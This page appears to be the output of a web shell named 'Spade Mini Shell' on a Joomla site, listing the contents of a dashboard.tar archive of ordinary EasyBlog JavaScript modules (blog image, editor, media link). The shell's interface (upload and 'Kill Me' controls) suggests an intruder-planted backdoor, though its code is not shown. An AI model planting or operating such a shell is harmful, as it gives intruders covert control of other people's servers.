Spade

Mini Shell

Directory:~$ /home/lmsyaran/public_html/joomla4/
Upload File

[Home] [System Details] [Kill Me]
Current File:~$ /home/lmsyaran/public_html/joomla4/dashboard.tar

blogimage.js000064400000005701151156076330007042 0ustar00// module: start
EasyBlog.module("dashboard/blogimage", function($) {

var module = this;

EasyBlog.require()
	.library("image")
	.done(function(){

		// controller: start
		EasyBlog.Controller("Dashboard.BlogImage",

			{
				defaultOptions: {

					// Containers
					"{placeHolder}"	: ".blogImagePlaceHolder",
					"{imageData}"	: ".imageData",
					"{image}"       : ".image",

					// Actions
					"{selectBlogImageButton}": ".selectBlogImage",
					"{removeBlogImageButton}": ".removeBlogImage"
				}
			},

			// Instance properties
			function(self) { return {

				init: function() {

					EasyBlog.dashboard.registerPlugin("blogImage", self);

					var meta = $.trim(self.imageData().val());

					if (meta) {
						self.setImage($.evalJSON(meta));
					}
 				},

				"{selectBlogImageButton} click": function() {

					// Optional: For the first param which is null now,
					// by passing in the key of the previously selected blog image,
					// it will activate the item on the browser.
					EasyBlog.mediaManager.browse(null, "blogimage");
				},

				"{removeBlogImageButton} click" : function(el) {

					self.removeImage();

					el.blur();
				},

				removeImage: function() {

					self.image().remove();

					self.element.addClass("empty");

					self.imageData().val("");
				},

				setImage: function(meta) {

					if (!meta) return;

					self.removeImage();

					self.element
						.addClass("loading");

					clearTimeout(self.imageTimer);

					// Clone the meta
					var meta = $.extend({}, meta);

					// Delete metadata
					delete meta.data;

					$.Image.get(meta.thumbnail.url)
						.done(function(image) {

							var resize = function(){

								// Keep a copy of the placeholder's width & height
								var placeHolder = self.placeHolder();
								maxWidth      = placeHolder.width();
								maxHeight     = placeHolder.height();

								// Calculate size
								var size = 	$.Image.resizeWithin(
									image.data("width"),
									image.data("height"),
									maxWidth,
									maxHeight
								);

								size.top  = (maxHeight - size.height) / 2;
								size.left = (maxWidth - size.width) / 2;

								return size;
							};

							var size = resize();

							var checkDimension = function() {

								if (size.width===0 || size.height===0) {

									self.imageTimer = setTimeout(function(){

										size = resize();

										checkDimension();

									}, 1000);

								} else {

									image.css(size);
								}
							}

							checkDimension();

							// Resize and insert
							image
								.addClass("image")
								.css(size)
								.appendTo(self.placeHolder());

							self.imageData().val($.toJSON(meta));

							self.element.removeClass("empty");
						})
						.fail(function(){

							self.element.addClass("empty");
						})
						.always(function(){

							self.element.removeClass("loading");
						});
				}
			}}

		);
		// controller: end

		module.resolve();
	});
	// require: end

});
// module: end
blogimage.min.js000064400000002750151156076330007625
0ustar00EasyBlog.module("dashboard/blogimage",function(e){var
t=this;EasyBlog.require().library("image").done(function(){EasyBlog.Controller("Dashboard.BlogImage",{defaultOptions:{"{placeHolder}":".blogImagePlaceHolder","{imageData}":".imageData","{image}":".image","{selectBlogImageButton}":".selectBlogImage","{removeBlogImageButton}":".removeBlogImage"}},function(t){return{init:function(){EasyBlog.dashboard.registerPlugin("blogImage",t);var
n=e.trim(t.imageData().val());n&&t.setImage(e.evalJSON(n))},"{selectBlogImageButton}
click":function(){EasyBlog.mediaManager.browse(null,"blogimage")},"{removeBlogImageButton}
click":function(e){t.removeImage(),e.blur()},removeImage:function(){t.image().remove(),t.element.addClass("empty"),t.imageData().val("")},setImage:function(n){if(!n)return;t.removeImage(),t.element.addClass("loading"),clearTimeout(t.imageTimer);var
n=e.extend({},n);delete
n.data,e.Image.get(n.thumbnail.url).done(function(r){var i=function(){var
n=t.placeHolder();maxWidth=n.width(),maxHeight=n.height();var
i=e.Image.resizeWithin(r.data("width"),r.data("height"),maxWidth,maxHeight);return
i.top=(maxHeight-i.height)/2,i.left=(maxWidth-i.width)/2,i},s=i(),o=function(){s.width===0||s.height===0?t.imageTimer=setTimeout(function(){s=i(),o()},1e3):r.css(s)};o(),r.addClass("image").css(s).appendTo(t.placeHolder()),t.imageData().val(e.toJSON(n)),t.element.removeClass("empty")}).fail(function(){t.element.addClass("empty")}).always(function(){t.element.removeClass("loading")})}}}),t.resolve()})});editor.js000064400000001166151156076340006404
0ustar00// module: start
EasyBlog.module("dashboard/editor", function($){

var module = this;

EasyBlog.Controller(
	"Dashboard.Editor",
	{
		defaultOptions: {

			editorId: "write_content"
		}
	},
	function(self) { return {

		init: function() {

			EasyBlog.dashboard.registerPlugin("editor", self);
		},

		insert: function(html) {

			window.jInsertEditorText(html, self.options.editorId);
		},

		content: function(html) {

			// TODO: Port eblog.editor to this new controller

			if (html!==undefined) {

				window.eblog.editor.setContent(html);
			}

			return window.eblog.editor.getContent();
		}
	}}
);

module.resolve();

});
editor.min.js000064400000000641151156076340007163
0ustar00EasyBlog.module("dashboard/editor",function(e){var
t=this;EasyBlog.Controller("Dashboard.Editor",{defaultOptions:{editorId:"write_content"}},function(e){return{init:function(){EasyBlog.dashboard.registerPlugin("editor",e)},insert:function(t){window.jInsertEditorText(t,e.options.editorId)},content:function(e){return
e!==undefined&&window.eblog.editor.setContent(e),window.eblog.editor.getContent()}}}),t.resolve()});index.html000064400000000037151156076340006551
0ustar00<!DOCTYPE html><title></title>
medialink.js000064400000001126151156076340007047 0ustar00// module: start
EasyBlog.module("dashboard/medialink", function($) {

var module = this;

EasyBlog.Controller(
	"Dashboard.MediaLink",
	{
		defaultOptions: {
			"{menu}": ".ui-togmenu",
			"{content}": ".ui-togbox"
		}
	},
	function(self){ return {

		init: function() {

		},

		"{menu} click": function(el) {

			var hiding = el.hasClass("active");

			self.menu().removeClass("active");

			self.content().removeClass("active");

			if (!hiding) {

				el.addClass("active");

				self.content("." +
el.attr("togbox")).addClass("active");
			}
		}
	}}
);

module.resolve();

});
// module: end
medialink.min.js000064400000000645151156076340007636
0ustar00EasyBlog.module("dashboard/medialink",function(e){var
t=this;EasyBlog.Controller("Dashboard.MediaLink",{defaultOptions:{"{menu}":".ui-togmenu","{content}":".ui-togbox"}},function(e){return{init:function(){},"{menu}
click":function(t){var
n=t.hasClass("active");e.menu().removeClass("active"),e.content().removeClass("active"),n||(t.addClass("active"),e.content("."+t.attr("togbox")).addClass("active"))}}}),t.resolve()});